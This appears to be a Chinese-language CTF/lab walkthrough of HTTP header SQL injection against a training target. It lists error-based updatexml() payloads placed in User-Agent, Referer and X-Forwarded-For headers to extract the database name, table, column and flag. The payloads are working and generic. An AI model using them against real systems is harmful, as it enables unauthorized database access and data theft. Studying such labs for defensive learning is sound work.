head注入
条件:
需要账号登入成功
有游客留言
有插入,储存,记录数据的功能
select *from news where id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
解释:由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,
concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。
updatexml(123,concat('~',(select database()),'~'),123)
'~' 十六进制 0x7e #防止'被过滤.
1' and updatexml(1,concat(0x7e ,(select database()),0x7e),1),'2')
题目: http://inject2.lab.aqlab.cn:81/Pass-07/index.php
源码分析:
INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname')
INSERT INTO uagent (`uagent`,`username`) VALUES ('1' and updatexml(1,concat(0x7e,(select database())),1),'2') -- qwe
构建代码:1' and updatexml(1,concat(0x7e,(select database())),1),'2') -- qwe
通过插件,burp抓包,将代码插入User-Agent 或 refere 或 X-Forwarded-For
1.User-Agent:空格1' and updatexml(1,concat(0x7e,(select database())),1),'2') -- qwe
2.refere:空格1' and updatexml(1,concat(0x7e,(select database())),1),'2') -- qwe
3.X-Forwarded-For:空格1' and updatexml(1,concat(0x7e,(select database())),1),'2') -- qwe
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1),'2') -- qwe
#'flag_head'表名
2' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='flag_head' and table_schema=database() limit 0,1)),1),'2') -- qwe
#'flag_h1' 字段名
3' and updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 0,1)),1),'2') -- qwe
#得到'flag_h1'中的数据